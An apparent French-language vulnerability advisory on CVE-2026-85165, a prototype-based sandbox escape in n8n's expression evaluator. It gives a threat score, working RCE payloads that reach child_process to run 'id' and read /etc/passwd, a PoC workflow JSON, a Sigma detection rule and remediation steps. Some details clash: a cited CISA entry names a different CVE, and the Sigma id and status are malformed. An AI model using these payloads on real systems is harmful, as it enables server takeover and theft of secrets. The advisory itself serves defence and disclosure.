CVE-2026-85165 : évasion de sandbox dans le moteur d'expressions N8N

HERMES

SCORE DE MENACE HERMES & ÉVALUATION D'INFRASTRUCTURE AGENTIQUE

Cible : n8n Automation Platform (Workflow Expression Evaluator Sandbox)

Confiance : 98%

97 / 100

CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 19 / 20

Activité de menace 18 / 20

Militarisation 18 / 20

Exposition 18 / 20

Prévalence 17 / 20

Impact 19 / 20

Maturité de l'exploit 18 / 20

Potentiel d'attaque en chaîne 18 / 20

⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.9 (Critique), et le score Hermes Threat Score s'établit à 97 (CRITIQUE). Cette vulnérabilité permet à tout utilisateur pouvant éditer un flux d'échapper au bac à sable JavaScript et de dérober l'ensemble des variables d'environnement de l'hôte.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-85165: n8n Expression Sandbox Escape via Prototype ResolutionVULNÉRABILITÉ

Nœuds connectés : 1

Relations sortantes actives

→ affectsCOMPOSANTn8n Workflow Automation

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in n8n Workflow Automation documented in Hermes dossier.”

Preuves vérifiées associées :

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

1. Contexte technique & matrice d’impact

Paramètre	Spécification Technique	Contexte de Menace
Identifiant CVE	`CVE-2026-85165`	Menaces IA Agentique & Protocole MCP
Produit ciblé	`n8n Automation Platform`	`n8n GmbH`
Composant affecté	`Workflow Expression Evaluator Sandbox`	Orchestrateur et couche d’outils agentiques
Nature de la faille	`CWE-94: Code Injection / CWE-1321: Prototype Pollution`	Violation d’intégrité et d’exécution
Versions vulnérables	`all versions prior to 2.36.2`	Environnements en production
Correctif disponible	`2.36.2`	Mise à jour impérative

2. Analyse technique approfondie

Mécanique de l’évasion de bac à sable

Les objets helpers exposés dans le contexte d’évaluation ($jmespath, $moment) n’avaient pas leurs prototypes gelés. En chaînant .constructor.constructor, le constructeur Function renvoyé s’exécute dans le contexte global de Node.js et non dans le contexte sécurisé :

// Payload d'expression malveillante
{{
  $jmespath.constructor.constructor(
    'return process.mainModule.require("child_process").execSync("id").toString()'
  )()
}}

+----------------------------------------------------------------------------------------------------+
|                         CYCLE D'ATTAQUE CVE-2026-85165                                                   |
+----------------------------------------------------------------------------------------------------+

   [Attaquant / Injection de Prompt]
          │
          │ [1] Émission du payload ciblant l'interface d'outil ou l'orchestrateur
          ▼
   [n8n Automation Platform]
          │
          ├───► 1. Ingestion par Workflow Expression Evaluator Sandbox
          │     - Échec de validation, absence de filtrage ou contournement de sandbox
          │
          ├───► 2. Exécution / Mutation d'état
          │     - Exécution de commandes OS ou exfiltration d'identifiants
          │
          ▼
   [Infrastructure Cible Compromise]
          │
          └───► Vol de données, prise de contrôle du serveur ou persistance
+----------------------------------------------------------------------------------------------------+

3. Preuve de concept (PoC) & analyse du payload

{
  "nodes": [
    {
      "name": "Code Execution Node",
      "type": "n8n-nodes-base.set",
      "typeVersion": 2,
      "position": [250, 300],
      "parameters": {
        "values": {
          "string": [
            {
              "name": "rce_output",
              "value": "={{ $jmespath.constructor.constructor('return process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()')() }}"
            }
          ]
        }
      }
    }
  ]
}

4. Ingénierie de détection & télémétrie

Règle de détection Sigma

title: n8n Sandbox Escape Expression Evaluation
id: 85165c01-e165-4a1b-8f21-n8nsandbox01
status: high
description: Detects attempts to walk prototype constructors or invoke process.mainModule within n8n workflow expressions.
author: Hermes Codex Detection Engineering
date: 2026-09-05
logsource:
  product: n8n
  service: execution
detection:
  selection:
    payload|contains:
      - 'constructor.constructor'
      - 'process.mainModule'
      - 'child_process'
      - '__proto__'
  condition: selection
level: critical

5. Guide de remédiation & plan d’action

Appliquer les correctifs : mettre à jour n8n Automation Platform vers la version 2.36.2 sans délai.
Restreindre les outils MCP : vérifier les déclarations d’outils et isoler les exécutions dans des conteneurs sandboxés éphémères.
Auditer les journaux système : examiner les logs d’exécution pour repérer d’éventuels processus enfants anormaux ou appels réseau suspects.
Appliquer le moindre privilège : restreindre les comptes de service associés aux agents sur les bases de données et les clés cloud.